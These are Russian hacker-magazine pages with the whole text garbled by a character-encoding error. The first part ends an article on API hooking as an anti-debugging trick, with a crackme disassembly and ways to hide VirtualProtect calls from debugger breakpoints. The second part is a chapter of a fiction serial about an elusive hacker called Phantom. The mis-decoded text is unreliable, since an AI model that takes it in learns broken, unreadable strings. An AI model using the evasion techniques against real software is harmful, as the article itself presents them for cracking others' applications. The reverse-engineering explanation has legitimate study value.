Õàê íîìåð îäèí. Ðåçåðâèðîâàíèå ìåñòà ïîä ëîêàëüíûå ïåðåìåííûå êîìàíäîé push. Íó, ýòî è íå õàê âîâñå. Òàê äàæå êîìïèëÿòîðû ïîñòóïàþò! Èíñòðóêöèÿ push eax çàáðàñûâàåò íà âåðõóøêó ñòåêà ñîäåðæèìîå ðåãèñòðà eax, à êîìàíäà push esp çàòàëêèâàåò óêàçàòåëü íà eax, ïåðåäàâàÿ åãî êàê àðãóìåíò ôóíêöèè VirtualProtect, êîòîðàÿ çàïèñûâàåò ñþäà òåêóùèå àòðèáóòû, âûòàëêèâàÿ óêàçàòåëü èç ñòåêà ïî çàâåð-

XÀÊÅÐ 02 /86/ 06


ÎÒËÀÄ×ÈÊ (ÏÎÒÅÍÖÈÀËÜÍÎ) ÑÏÎÑÎÁÅÍ ÎÁÍÀÐÓÆÈÒÜ ÏÅÐÅ ÕÂÀÒ — ÄËß ÝÒÎÃÎ ÄÎÑÒÀÒÎ×ÍÎ ÏÐÎÑÒÎ ÍÅÌÍÎ ÃÎ ÏÎÒÐÀÑÑÈÐÎÂÀÒÜ API-Ô ÔÓÍÊÖÈÞ.

øåíèè. À ýòî çíà÷èò, ÷òî íà âåðøèíå ñòåêà âíîâü îêàçûâàåòñÿ ëîêàëüíàÿ ïåðåìåííàÿ, ñ ïðåæíèìè àòðèóìàìè. Âîò òîëüêî ïåðåäàòü åå ôóíêöèè VirtualProtect ÷åðåç push esp óæå íå ïîëó÷èòñÿ, ïîñêîëüêó îíà îæèäàåòñÿ âî âòîðîì ñëåâà àðãóìåíòå. Êîìïèëÿòîð (äàæå ñàìûé îïòèìèçèðóþùèé) íàâåðíÿêà âëåïèë áû ñþäà êîìàíäû òèïà push eax/push esp/push [esp+8], ÷òî ñëèøêîì äëèííî è, âîîáùå, must die. Âîò åñëè áû â ñòåêå óæå ñîäåðæàëñÿ óêàçàòåëü íà ôèêòèâíóþ ÿ÷åéêó ïàìÿòè, êîòîðóþ ìîæíî áûëî áû ïåðåäàòü VirtualProtect, íî, ê ñîæàëåíèþ, åãî òàì íåò. Íî âåäü åãî ìîæíî î÷åíü ëåãêî ñäåëàòü! Äëÿ ýòîãî äîñòàòî÷íî ëèøü ïåðåäàòü àðãóìåíò äî ïåðâîãî âûçîâà VirtualProtect, ÷òî è äåëàåò êîìàíäà push esp ñ êîììåíòàðèåì «hack!!!». Äà! Àðãóìåíò äëÿ âòîðîãî âûçîâà VirtualProtect çàíîñèòñÿ â ñòåê â ïåðâóþ î÷åðåäü, ýêîíîìÿ öåëûõ òðè ìàøèííûõ êîìàíäû. Ïî÷åìó òðè? Äà ïîòîìó, ÷òî îäíó èç äâóõ ëîêàëüíûõ ïåðåìåííûõ âûòàëêèâàåò ñàìà ôóíêöèÿ VirtualProtect, è ýòî óæå áóäåò âòîðîé õàê! Âîò îíî — îòëè÷èå ìåæäó àññåìáëåðîì è ÿçûêàìè âûñîêîãî óðîâíÿ. Íà àññåìáëåðå ìû ìîæåì ïèñàòü áîëåå ýôôåêòèâíî è êîìïàêòíî, ïóñêàé äàæå öåíîþ ïîòåðÿííîãî âðåìåíè. Êàê èíòåðåñíî îïòèìèçèðîâàòü ïðîãðàììû, âûêèäûâàÿ èç íèõ âñå íåíóæíîå! ÄÅÌÎÍÑÒÐÀÖÈß ÏÅÐÅÕÂÀÒ×ÈÊÀ ÈËÈ ÏÎÏÛÒÊÈ ÂÇËÎÌÀ Çàêîí÷åííàÿ ìîäåëü ïåðåõâàò÷èêà ñîäåðæèòñÿ â ôàéëå kpnc-hack-uni.c, êîòîðûé ïðåäñòàâëÿåò ñàìûé íàñòîÿùèé crackme, âûâîäÿùèé äèàëîãîâîå îêíî ñ çàãîëîâêîì not-hacked yet íà ýêðàí. Âî âñÿêîì ñëó÷àå, äèçàññåìáëåð óòâåðæäàåò èìåííî òàê, íî â äåéñòâèòåëüíîñòè òàì êðàñóåòñÿ ñòðîêà «hacked», ñâèäåòåëüñòâóþùàÿ î òîì, ÷òî äèçàññåìáëåðàì âåðèòü íåëüçÿ. .text:004010CB _demo .text:004010CB .text:004010CC .text:004010CE .text:004010D0 .text:004010D5

proc near push mov push push push

; CODE XREF: j__demoj ebp ebp, esp 0 offset aNotHackedYet offset aDemo

; «not hacked yet» ; «==[ demo ]==»

.text:004010DA .text:004010DC .text:004010E2 .text:004010E3 .text:004010E3 _demo

push call pop retn endp

0 ds:__imp__MessageBoxA@16 ebp

Ïåðâûé ðàç MessageBox âûçûâàåòñÿ áåç ïåðåõâàò÷èêà, çàòåì — ñ ïåðåõâàò÷èêîì è â êîíöå — ñíîâà áåç ïåðåõâàò÷èêà (÷òîáû ïîäòâåðäèòü, ÷òî ïåðåõâàò÷èê ñíèìàåòñÿ ïðàâèëüíî è áåç ïîáî÷íûõ ïîñëåäñòâèé). Êîíå÷íî, äàííûé crackme î÷åíü ëåãêî ïðîàíàëèçèðîâàòü è âçëîìàòü, ïîñêîëüêó îí íåâåëèê è çàùèòíûé êîä ñðàçó æå áðîñàåòñÿ â ãëàçà. Íî â ïîëíîâåñíîé ïðîãðàììå ñî âñåìè åå ìåãàáàéòàìè ïðîñòî òàê âçëîìàòü íè÷åãî íå ïîëó÷èòñÿ. Îòëàä÷èê (ïîòåíöèàëüíî) ñïîñîáåí îáíàðóæèòü ïåðåõâàò — äëÿ ýòîãî äîñòàòî÷íî ïðîñòî íåìíîãî ïîòðàññèðîâàòü API-ôóíêöèþ. Íî! Ëåãêî ñêàçàòü «íåìíîãî ïîòðàññèðîâàòü». Ýòî æå î÷åíü äàæå äî ôèãà òðàññèðîâàòü ïðèäåòñÿ, îñîáåííî â ñâåòå òîãî, ÷òî òî÷êà îñòàíîâà, óñòàíîâëåííàÿ äî ïåðåõâàòà, ñðàáàòûâàåò íå â ïåðåõâàò÷èêå, à â îðèãèíàëüíîé API-ôóíêöèè. À âîò åùå èäåÿ: ïóñòü â ïðîöåññå ðàñïàêîâêè ïðîãðàììû ðàñïàêîâùèê êîïèðóåò êëþ÷åâîé êîä ïîâåðõ API-ôóíêöèé è óäàëÿåò åãî èç ñàìîé ïðîãðàììû. Òîãäà ñäàìïëåííàÿ ïðîãðàììà îêàæåòñÿ íåðàáîòîñïîñîáíîé, âåäü ñîäåðæèìîå API-ôóíêöèé ïî óìîë÷àíèþ íå äàìïèòñÿ! Êîíå÷íî, õàêåð ìîæåò ñäåëàòü ýòî âðó÷íóþ, åñëè, êîíå÷íî, ðàçáåðåòñÿ â ñèòóàöèè, ÷òî áóäåò ñîâñåì íåïðîñòî! ÇÀÊËÞ×ÅÍÈÅ Áîëüøèíñòâî àíòèîòëàäî÷íûõ òðþêîâ óòðà÷èâàþò ñâîþ ñèëó, êîãäà ñòàíîâÿòñÿ èçâåñòíûìè. Íî òîëüêî íå ýòîò! Îáíàðóæèòü ôàêò ïåðåõâàòà, äàæå çíàÿ î åãî âîçìîæíîñòè, î÷åíü ñëîæíî, òàê ÷òî ìû èìååì äîâîëüíî ìîãó÷èé çàùèòíûé ïðèåì ñ øèðîêèì ñïåêòðîì äåéñòâèÿ è óáîéíûì ðàäèóñîì ïîðàæåíèÿ, à åñëè åãî åùå è óñîâåðøåíñòâîâàòü, òî ïîëó÷èòñÿ òåðìîÿäåðíîå îðóæèå, êîòîðîå ìîæíî ïðèìåíÿòü êàê äëÿ âçëîìà ÷óæèõ ïðèëîæåíèé, òàê è äëÿ çàùèòû ñâîèõ ñîáñòâåííûõ. BINARY YOUR’S z

äèàëîãîâîå îêíî, âûçûâàåìîå ôóíêöèåé demo äî (ñëåâà) è ïîñëå (ñïðàâà) ïåðåõâàòà

ÌÀÑÊÈÐÎÂÊÀ VIRTUALPROTECT Âûçîâ VirtualProtect — ýòî àõèëëåñîâà ïÿòà APIïåðåõâàò÷èêà, äåìàñêèðóþùàÿ åãî ïðèñóòñòâèå. Åñëè õàêåð óñòàíîâèò òî÷êó îñòàíîâà, îí íå òîëüêî îáíàðóæèò ôàêò ìîäèôèêàöèè API-ôóíêöèé, íî åùå è îïðåäåëèò èõ àäðåñà, ïåðåäàííûå VirtualProtect â ïåðâîì ñëåâà àðãóìåíòå, ïîýòîìó íåîáõîäèìî ïðèáåãíóòü ê ìàñêèðîâêå. Ñàìîå ïðîñòîå (íî íå ñàìîå íàäåæíîå) — âìåñòî VirualProtect âûçûâàòü VirtualProtec tEx, ïåðåäàâàÿ âìåñòî îïèñàòåëÿ ïðîöåññà çíà÷åíèå -1 (FFFFFFFFh ). Âäðóã õàêåð íå äîãàäàåòñÿ óñòàíîâèòü íà íåå òî÷êó îñòàíîâà? Òàê âåäü íåò, äîãàäàåòñÿ æå… Íà NT-ïîäîáíûõ ñèñòåìàõ ìû ìîæåì èñïîëüçîâàòü NtProtectVirtualMemory, âûçûâàÿ åå íå ñ ïåðXÀÊÅÐ 02 /86/ 06

âîãî áàéòà. Ïîäðîáíîå îïèñàíèå ýòîãî òðþêà ìîæíî íàéòè â «Çàïèñêàõ ìûùúõ’à» èëè â ñòàòüå «Òî÷êè îñòàíîâà íà win32 API è ïðîòèâîäåéñòâèå èì», îïóáëèêîâàííîé â «Ñèñòåìíîì Àäìèíèñòðàòîðå». Íà 9x íèêàêîé NtProtectVirtualMemory íåò, è òàì îïÿòü-òàêè íóæíî âûçûâàòü VirualProtectEx íå ñ ïåðâîãî áàéòà, òîãäà âñå òî÷êè îñòàíîâà íå ïîëó÷àò óïðàâëåíèÿ è íàøà øïèîíñêàÿ äåÿòåëüíîñòü îñòàíåòñÿ íåçàìå÷åííîé. Íåêîòîðûå ïðåäëàãàþò çàìåíèòü VirtualProtect íà VirtualAlloc ñ ôëàãîì MEM_COMMIT | MEM_RESET, ÷òîáû èçìåíèòü àòðèáóòû ñòðàíèöû ïàìÿòè, îäíàêî ïî îòíîøåíèþ ê ñèñòåìíûì áèáëèîòåêàì ýòîò òðþê íå ðàáîòàåò, òàê ÷òî ó íàñ îñòàåòñÿ òîëüêî VirtualProtectEx. 127


TEXT MINDW0RK / mindw0rk@gameland.ru /

Òåñòåð

Àâòîð èëëþñòðàöèé Àííà Æóðêî ; Èâàí Âåëè÷êî

×àñòü ÷åòâåðòàÿ ß íå çíàþ, ïî÷åìó îí âûáðàë ìåíÿ. ß äàëåêî íå ñàìàÿ èçâåñòíàÿ æóðíàëèñòêà è òåìû, íà êîòîðûå ÿ ïèñàëà, íå øîêèðîâàëè ÷èòàòåëåé, íå âûçûâàëè áóðíûé àæèîòàæ. Ìîæåò, åìó ïðîñòî ïîíðàâèëñÿ ìîé ñòèëü? Èëè ìîå âðîæäåííîå ñòðåìëåíèå äîêîïàòüñÿ äî èñòèíû? À ìîæåò, îí ïðîñòî îòêðûë ïåðâûé ïîïàâøèéñÿ æóðíàë, âûáðàë ñëó÷àéíîãî àâòîðà è ðåøèë ÷åðåç íåãî ðàññêàçàòü ìèðó î ñåáå? ß ñëûøàëà î íåì ðàíüøå, ïðàâäà, ñîâñåì íåìíîãî. Î íåì âîîáùå áûëî ìàëî èçâåñòíî. Ïîëèöèÿ ïðàêòè÷åñêè âñåõ ñòðàí ìèðà îõîòèëàñü çà íèì óæå äîëãèå ãîäû, íî íè íà øàã íå ïðèáëèçèëàñü ê ïîèìêå. Íèêòî äàæå íå çíàë åãî íàñòîÿùåãî èìåíè, òîëüêî ïñåâäîíèì, êîòîðûì îêðåñòèëè â íàðîäå — Ôàíòîì. Îí ïîÿâëÿëñÿ, êàê ïðèçðàê èç íèîòêóäà, ñîâåðøàë ñâîé î÷åðåäíîé äåðçêèé êîìïüþòåðíûé âçëîì è ñíîâà èñ÷åçàë â íèêóäà. Ãîâîðèëè, îí ìîæåò ïðîíèêíóòü â ëþáóþ ñèñòåìó, íà ëþáîé êîìïüþòåð, ÷òî îí ëó÷øèé õàêåð â ìèðå. È ñàìûé îïàñíûé. Íî âñå ýòî ëèøü äîãàäêè, âåäü íèêòî íå çíàåò, êòî îí íà ñàìîì äåëå è íà ÷òî ñïîñîáåí. È âîò òåïåðü ìíå ïðåäñòîÿëî ýòî âûÿñíèòü. Îí ñâÿçàëñÿ ñî ìíîé, êîãäà ÿ ïèñàëà â «âîðäå» î÷åðåäíóþ ñòàòüþ. Êëàâèàòóðà âäðóã ïåðåñòàëà ñëóøàòüñÿ: âìåñòî ñëîâ, êîòîðûå ïå÷àòàëè ìîè ïàëüöû, íà ýêðàíå ïîÿâèëñÿ ñîâñåì äðóãîé òåêñò. Êîìïüþòåð êàê áóäòî ðåøèë ïîãîâîðèòü ñî ìíîé. — Ëþäè âðÿä ëè îöåíÿò ýòó ñòàòüþ, — ñîîáùèë ìíå îí. Íóæíî ëè ãîâîðèòü, ÷òî ôðàçà ââåëà ìåíÿ â ñòóïîð? Íå êàæäûé äåíü â îêíå òåêñòîâîãî ðåäàêòîðà ñëîâà ïîÿâëÿþòñÿ ñàìè ñîáîé. — Õî÷åøü ñäåëàòü ìàòåðèàë, êîòîðûé ïî-íàñòîÿùåìó òåáÿ ïðîñëàâèò? — ïðîäîëæèë êîìïüþòåð. Ìèãàþùèé êóðñîð çàìåð â îæèäàíèè ìîåãî îòâåòà. È ÿ îòâåòèëà. — Äà. —  òàêîì ñëó÷àå æäó òåáÿ â ÷åòâåðã â 8 âå÷åðà â òîì áàðå, êîòîðûé îäíàæäû èçìåíèë òâîþ æèçíü. Ìîæåò áûòü, îí ñìîæåò èçìåíèòü åå ñíîâà? — Êòî òû? – ñïðîñèëà ÿ. — Ëþäè íàçûâàþò ìåíÿ Ôàíòîì. ß íèêîãäà íèêîìó íå ðàññêàçûâàë î ñåáå, íî, êàæåòñÿ, ïðèøëî âðåìÿ. — Òîò ñàìûé íåóëîâèìûé õàêåð? — Òîò ñàìûé. Ïðèõîäè â ÷åòâåðã, åñëè õî÷åøü ïîãîâîðèòü ñî ìíîé. È ðàññêàçàòü îáî ìíå ìèðó. Îäíà. Èíà÷å íèêîãäà ìåíÿ áîëüøå íå óâèäèøü. ß çàêèäàëà ñâîåãî íåâèäèìîãî ñîáåñåäíèêà íîâûìè âîïðîñàìè, íî êóðñîð áîëüøå íå ïîäàâàë ïðèçíàêîâ æèçíè. Êàôå, êîòîðîå îäíàæäû èçìåíèëî ìîþ æèçíü? ß áûëà âî ìíîãèõ êàôå, ãäå óæèíàëà ñ èçâåñòíûìè ëþäüìè èëè ïðîñòî çíàêîìûìè. Êàêîå èç íèõ èìåë â âèäó Ôàíòîì? Ìîæåò áûòü, «Ó Ôëèíòà» — óþòíàÿ êàôåøêà, îáñòàâëåííàÿ â äóõå ïèðàòñ-

129


êèõ âðåìåí, ãäå ÿ ïîñëå âñòðå÷è ñ ðåäàêòîðîì êðóïíîãî æóðíàëà íàïèñàëà ñâîþ ñàìóþ óñïåøíóþ ñòàòüþ? Èëè «Êðàñíûé çàêàò» — îäíî èç ìîèõ ëþáèìûõ ìåñò â ãîðîäå, ãäå ÿ ìîãëà îòäîõíóòü è ñîáðàòüñÿ ñ ìûñëÿìè, ãäå ÷åðïàëà âäîõíîâåíèå? Íî ÷åì áîëüøå ÿ äóìàëà îá ýòîì, òåì áîëüøå ó ìåíÿ â ìîçãó îñåäàëî îäíî íàçâàíèå — «Ýéëè». Èìåííî òàì ÿ ïîçíàêîìèëàñü ñî ñâîèì áûâøèì ìóæåì. * * * Ýòî ïðîèçîøëî îêîëî 10 ëåò íàçàä. ß òîëüêî îêîí÷èëà æóðôàê ÌÃÓ è äóìàëà, ÷òî âåñü ìèð ëåæèò ó ìîèõ íîã. Âî ìíå áûëî âñå íåîáõîäèìîå, ÷òîáû äîáèòüñÿ óñïåõà â æóðíàëèñòèêå: öåëåóñòðåìëåííîñòü, òåðïåíèå, óìåíèå ðàñïîëàãàòü ëþäåé ê ñåáå è äàæå ñâîé ñòèëü. ß óñòðîèëàñü â ðåäàêöèþ æåíñêîãî æóðíàëà è ïåðèîäè÷åñêè ïèñàëà ñòàòüè. Îáî âñåì, ÷òî ìîæåò çàèíòåðåñîâàòü îáû÷íóþ ðóññêóþ æåíùèíó.  òîò äåíü, âîçâðàùàÿñü ñ ðàáîòû, ÿ ðåøèëà çàéòè ïåðåêóñèòü â îäèí èç ìàëåíüêèõ ðåñòîðàí÷èêîâ, ñêðûòûõ âî äâîðàõ. Ó íàñ ìíîãî òàêèõ — òèõèõ, óþòíûõ, ãäå âñåãäà âêóñíî ãîòîâÿò. «Ýéëè» âñòðåòèë ìåíÿ èíòèìíûì ïîëóìðàêîì, òèõîé âîñòî÷íîé ìóçûêîé è çàïàõîì ïîäæàðåííîãî ìÿñà. Êàôåøêà áûëà ïî÷òè ïóñòà, åñëè íå ñ÷èòàòü ìîëîäîãî ÷åëîâåêà, îäèíîêî ñèäÿùåãî â äàëüíåì óãëó. Äàæå ïîìíþ, ÷òî èìåííî ÿ çàêàçàëà: íåæíûå ëîìòèêè ôîðåëè, ïðèïðàâëåííûå ñûðîì è øàìïèíüîíàìè. ß è ñåé÷àñ ìîãó îùóòèòü èõ âêóñ è çàïàõ… íî òîãäà ýòî íå èìåëî çíà÷åíèå. Ïîòîìó ÷òî ìû âñòðåòèëèñü ãëàçàìè, è ýòîò îáìåí âçãëÿäàìè êàê áóäòî çàæåã èñêðó. Îí ìåäëåííî âñòàë è ïîäîøåë êî ìíå. Íå çíàþ, ïî÷åìó ÿ ñîãëàñèëàñü ðàçäåëèòü åãî êîìïàíèþ — íà ìåíÿ ýòî áûëî íå ïîõîæå. Âåðîÿòíî, ìíå òîãäà áûëî òîæå îäèíîêî. Ðîìà ïîêàçàëñÿ ìíå ñòåñíèòåëüíûì, ïîëíûì çàãàäîê, íî, òåì íå ìåíåå, èíòåðåñíûì è ïðèâëåêàòåëüíûì ìóæ÷èíîé. Ìû ïðîãîâîðèëè íåñêîëüêî ÷àñîâ, ïîòîì îí âûçâàëñÿ ïðîâîäèòü ìåíÿ äîìîé… è íî÷üþ, êàê ýòî áûâàåò, ìåæäó íàìè ïðîèçîøëî ÝÒÎ. Ìû âñòðå÷àëèñü åùå 5 ìåñÿöåâ, à ïîòîì ïîæåíèëèñü — ñêðîìíî, áåç ïûøíîãî òîðæåñòâà. Ðîìà âîîáùå ñòàðàëñÿ èçáåãàòü øóìíûõ êîìïàíèé, ïîâûøåííîãî ê ñåáå âíèìàíèÿ. Íåò, îí íå áûë çàòâîðíèêîì, ìû õîäèëè âìåñòå â êëóáû è äðóãèå ìåñòà, êóäà õîäÿò âëþáëåííûå ïàðû. Íî íàìíîãî áîëüøå îí öåíèë ïîêîé è òèøèíó. À åùå Ðîìà ëþáèë âèòàòü ãäå-òî â îáëàêàõ. Ïîðîé ìíå êàçàëîñü, ÷òî îí æèë â êàêîì-òî äðóãîì, ïàðàëëåëüíîì ìèðå, è òîëüêî ðÿäîì ñî ìíîé âîçâðàùàëñÿ îáðàòíî. Ñâàäåáíîå ïóòåøåñòâèå ìû ïðîâåëè â Òóðöèè, ãäå öåëûìè äíÿìè âàëÿëèñü íà ïëÿæå, îáñóæäàëè ïëàíû íà áóäóùåå, çàíèìàëèñü ëþáîâüþ. À ïî âîçâðàùåíèè çàæèëè îáðàçöîâîé ñåìåéíîé æèçíüþ, êîòîðàÿ ïðîäîëæàëàñü ðîâíî ãîä.

130

Ìèëèöèÿ îêàçàëàñü áåññèëüíîé. Îíè íå ïîíèìàëè, ÷òî îí íå ìîã ïðîñòî âçÿòü è óéòè. Ìû âåäü òàê ëþáèëè äðóã äðóãà, âñå áûëî òàê õîðîøî. È çàïèñêà, êîòîðóþ îí îñòàâèë, êàçàëàñü íåëåïîé. «Ñîëíûøêî, ïðîùàé. ß íå ìîãó îáúÿñíèòü òåáå âñåãî, ïðîøó òîëüêî íå âèíèòü ñåáÿ. Ïîâåðü, òàê áóäåò ëó÷øå». ß áûëà óâåðåíà, ÷òî îí ïîïàë â êàêèå-òî æóòêèå íåïðèÿòíîñòè, ÷òî åìó íóæíà ïîìîùü è åãî îáÿçàòåëüíî íóæíî íàéòè. Ðîìà ìàëî ðàññêàçûâàë î ñâîåé ðàáîòå, ÿ çíàëà òîëüêî, ÷òî îí ïðîãðàììèñò â êðóïíîé êîìïàíèè. Íî òàì ñêàçàëè, ÷òî îí íèêîãäà ó íèõ íå ðàáîòàë. ß äàæå íå ìîãëà îáðàòèòüñÿ ê åãî äðóçüÿì è ðîäñòâåííèêàì, òàê êàê ïîïðîñòó íå çíàëà íèêîãî. Ýòà ÷àñòü åãî æèçíè âñåãäà îñòàâàëàñü â ñòîðîíå è, êîãäà ÿ ïûòàëàñü óçíàòü î åãî áëèçêèõ, îí âñåãäà ïåðåâîäèë ðàçãîâîð íà äðóãóþ òåìó.  êîíöå êîíöîâ ÿ îñòàâèëà ðàññïðîñû, ïîíàäåÿâøèñü, ÷òî êîãäà-íèáóäü îí îáî âñåì ðàññêàæåò ñàì. Ìíå áûëî õîðîøî ñ íèì, à åìó áûëî õîðîøî ñî ìíîé. È íå áûëî íè îäíîé ïðè÷èíû, ïî êîòîðîé îí ìîã âíåçàïíî óéòè. Ýòîò áðàê è äàëüíåéøèé ðàçðûâ äåéñòâèòåëüíî ñèëüíî èçìåíèëè ìîþ æèçíü. ß ïåðååõàëà â íîâóþ êâàðòèðó íà äðóãîì êîíöå ãîðîäà, ïîçíàêîìèëàñü ñ äîðîãèìè ìíå ñåé÷àñ ëþäüìè. ß òàêæå îñòàâèëà æåíñêèé æóðíàë è ïðèñîåäèíèëàñü ê àðìèè æóðíàëèñòîâ-ôðèëàíñåðîâ, çàíèìàÿñü íàïèñàíèåì ñòàòåé ïî Èíòåðíåòó äëÿ ðàçíûõ æóðíàëîâ. ×òîáû îòâëå÷üñÿ îò ìûñëåé î íåì, ÿ ñòàëà çàíèìàòüñÿ ñïîðòîì, è òåïåðü îí íåîòúåìëåìàÿ ÷àñòü ìîåé æèçíè. Ñî âðåìåíåì ðàíà çàðîñëà, â ìîåé æèçíè ïîÿâèëèñü äðóãèå ìóæ÷èíû. Íî âñå ðàâíî ÿ èíîãäà âñïîìèíàëà î íåì è ïûòàëàñü ïîíÿòü, ïî÷åìó îí óøåë. È áûëà ëè â ýòîì ìîÿ âèíà. * * * Îñòàâàâøååñÿ äî ÷åòâåðãà âðåìÿ ÿ çàïîëíèëà ïîèñêîì èíôîðìàöèè î òàèíñòâåííîì Ôàíòîìå. ß, êàê è äðóãèå, ñëûøàëà î íåì èç ãàçåò, íîâîñòåé â Èíòåðíåòå, íî íèêîãäà íå ïðèäàâàëà ýòîìó çíà÷åíèÿ. Ìîè ïîçíàíèÿ î õàêåðàõ îãðàíè÷èâàëèñü îáùèìè ïðåäñòàâëåíèÿìè î ïîäðîñòêàõ, êîòîðûå ïîëó÷àþò óäîâîëüñòâèå îò øíûðÿíèÿ ïî ÷óæèì êîìïüþòåðàì. Íî ÷òî-òî ìíå ïîäñêàçûâàëî, ÷òî ìîé áóäóùèé ñîáåñåäíèê ñîâñåì èç äðóãîé ïîðîäû, è î ÷åì åãî ñïðàøèâàòü, ÿ ïîíÿòèÿ íå èìåëà. Ïîèñê â ãóãëå âûäàë êó÷ó ññûëîê íà íîâîñòíûå ñòàòüè. Çàãîëîâêè áûëè îäèí äðóãîãî êðàøå: «Ôàíòîì ñíîâà òåððîðèçèðóåò Èíòåðíåò», «Õàêåð ïðîíèêàåò íà ñåðâåð ñåêðåòíîé âîåííîé áàçû ÑØÀ», «ÔÁÐ ïîäîçðåâàåò, ÷òî ê âçëîìó ïðè÷àñòåí Ôàíòîì», «Èíòåðïîë îáúÿâèë íàãðàäó çà ïîèìêó õàêåðà, èçâåñòíîãî ïîä ïñåâäîíèìîì Ôàíòîì». Ìíå äàæå ñòàëî íå ïî ñåáå, âåäü ÿ äîáðîâîëüíî ñîáèðàëàñü ïîéòè íà âñòðå÷ó ñ îäíèì èç ñàìûõ ðàçûñêèâàåìûõ ïðåñòóïíèêîâ. ß ìîãëà ïðîñòî ïðîèãíîðèðîâàòü ýòî ïðåäëîæåíèå èëè äàæå ñîîáùèòü î íåì â ìèëèöèþ, íî ëþáîïûòñòâî íå äàâàëî ìíå ïîêîÿ. ß ðåøèëà âî ÷òî áû òî íè ñòàëî ðàñêðûòü òàéíó Ôàíòîìà.

XÀÊÅÐ 02 /86/ 06


Áëóæäàÿ â ïîèñêàõ èíôîðìàöèè ïî Èíòåðíåòó, ÿ íàòêíóëàñü íà ñòàòüþ îäíîãî êîìïüþòåðíîãî æóðíàëèñòà, êîòîðûé ïûòàëñÿ ïðîàíàëèçèðîâàòü ëè÷íîñòü ýòîãî õàêåðà. «Èç èñòîðèè ìîæíî ïðèâåñòè ñîòíè ïðèìåðîâ, êîãäà âçëîìùèêè íàíîñèë îãðîìíûé âðåä êîìïàíèÿì: Êåâèí Ìèòíèê, Âëàäèìèð Ëåâèí, ãðóïïà Legion of Doom. Õàêåðû êàæäûé äåíü âçëàìûâàþò áàíêîâñêèå ñèñòåìû è ñåðâåðû îíëàéíîâûõ ìàãàçèíîâ, èñïîëüçóÿ ïîëó÷åííûå íàâûêè äëÿ ñîáñòâåííîé âûãîäû. Ôàíòîì íå êðàäåò äåíüãè, íå âûâîäèò èç ñòðîÿ êîìïüþòåðû. Êàæäûé åãî õàê íåñåò çà ñîáîé îïðåäåëåííóþ öåëü. Âçÿòü, ê ïðèìåðó, íåäàâíèé âçëîì êèòàéñêîé ñèñòåìû êîíòðîëÿ çà Èíòåðíåòîì. Ïî ðåøåíèþ ïðàâèòåëüñòâà Êèòàÿ, ìèëëèîíû ñåòåâûõ ïîëüçîâàòåëåé áûëè îãðàíè÷åíû â ïîëó÷åíèè èíôîðìàöèè èç Èíòåðíåòà, ïðè÷åì íå òîëüêî ïîðíîãðàôè÷åñêîãî è ïîëèòè÷åñêîãî õàðàêòåðà, íî è íà ñîâåðøåííî áåçîáèäíûå òåìû. Òûñÿ÷è êèòàéöåâ, íåñîãëàñíûå ñ ïîäîáíûì ðåøåíèåì, âûäâèíóëè ïðîòåñò, íî ýòî ìàëî ïîìîãëî. È âîò íåèçâåñòíûé õàêåð âçëàìûâàåò ýòó ñèñòåìó, îòêðûâàÿ àçèàòñêîìó íàðîäó äâåðü â ìèð èíôîðìàöèè. Òàêèõ ïðèìåðîâ ìîæíî ïðèâåñòè äåñÿòêè: ðàçîáëà÷åíèå ïîëèòè÷åñêîé ôèãóðû â ïðàâèòåëüñòâå ÑØÀ, êîòîðàÿ îêàçàëàñü çàìåøàííîé â îðãàíèçàöèè êðóïíåéøåé ñåòåâîé àôåðû, îáíàðîäîâàíèå ñåêðåòíîé èíôîðìàöèè èç àðõèâîâ NASA, ñîãëàñíî êîòîðîé ïðè÷èíû êàòàñòðîô íåêîòîðûõ øàòòëîâ áûëè äàëåêèìè îò îôèöèàëüíûõ è ò.ä.  ìèðå, êîòîðûé çàâèñèò îò êîìïüþòåðîâ è êîòîðûé îïóòûâàåò ïàóòèíà êîìïüþòåðíûõ ñåòåé, õàêåðû ñòàíîâÿòñÿ íàñòîÿùèìè âðàãàìè. Èëè ãåðîÿìè. Ôàíòîì, ñóäÿ ïî âñåìó, âûáðàë âòîðîé ïóòü è äëÿ ñâîèõ ïîêëîííèêîâ ñòàë êåì-òî âðîäå ñåòåâîãî Ðîáèí Ãóäà. Îäíàêî âëàñòü ðàçíûõ ñòðàí ïðèäåðæèâàåòñÿ èíîãî ìíåíèÿ…». Ïðàêòè÷åñêè âñå âçëîìû, ê êîòîðûì, êàê ãîâîðèëè, áûë ïðè÷àñòåí Ôàíòîì, áûëè ïîõîæè íà ïîïûòêè áðîñèòü âûçîâ êîððóìïèðîâàííîé, âëàñòíîé ñèñòåìå. Ìíå óäàëîñü íàéòè íîâîñòü, ãäå ãîâîðèëîñü, ÷òî õàêåðà îäíàæäû ÷óòü íå ïîéìàëè. Åãî ñäàë ÷åëîâåê, êîòîðûé áûë çíàêîì ñ Ôàíòîìîì â Ñåòè è êîòîðûé çíàë, ãäå òîò îñòàíîâèëñÿ â ïîñëåäíèé ðàç. Íî êîãäà ãðóïïà çàõâàòà íàãðÿíóëà íà àðåíäîâàííóþ êâàðòèðó, îíè íàøëè âíóòðè òîëüêî ãîëûå ñòåíû è ïëþøåâîãî ìåäâåæîíêà íà êðîâàòè ñ òàáëè÷êîé â ðóêàõ: «Âû ñëèøêîì ìåäëèòåëüíû, ãîñïîäà». Äàæå â Wikipedia áûëè óïîìèíàíèÿ î íåì ñ ïåðå÷èñëåíèåì êîìïüþòåðíûõ èíöèäåíòîâ, ãåðîåì êîòîðûõ îí áûë. Ïðàâäà, óâåðåííîñòè, ÷òî òîò èëè èíîé âçëîì ñîâåðøèë Ôàíòîì, íå áûëî íèêàêîé. Îí íèêîãäà íå îñòàâëÿë ñëåäîâ è íå áðàë íà ñåáÿ îòâåòñòâåííîñòè çà ïðîíèêíîâåíèÿ â ñàìûå çàùèùåííûå ñèñòåìû. Ïðîñòî êàæäûé ðàç, êîãäà íåèçâåñòíûé õàêåð ðàçîáëà÷àë ÷èíîâíèêîâ, ñîâåðøàë îñîáî äåðçêèé õàê, ëþäè ñ÷èòàëè, ÷òî çà ýòèì ñòîèò èìåííî îí.

XÀÊÅÐ 02 /86/ 06

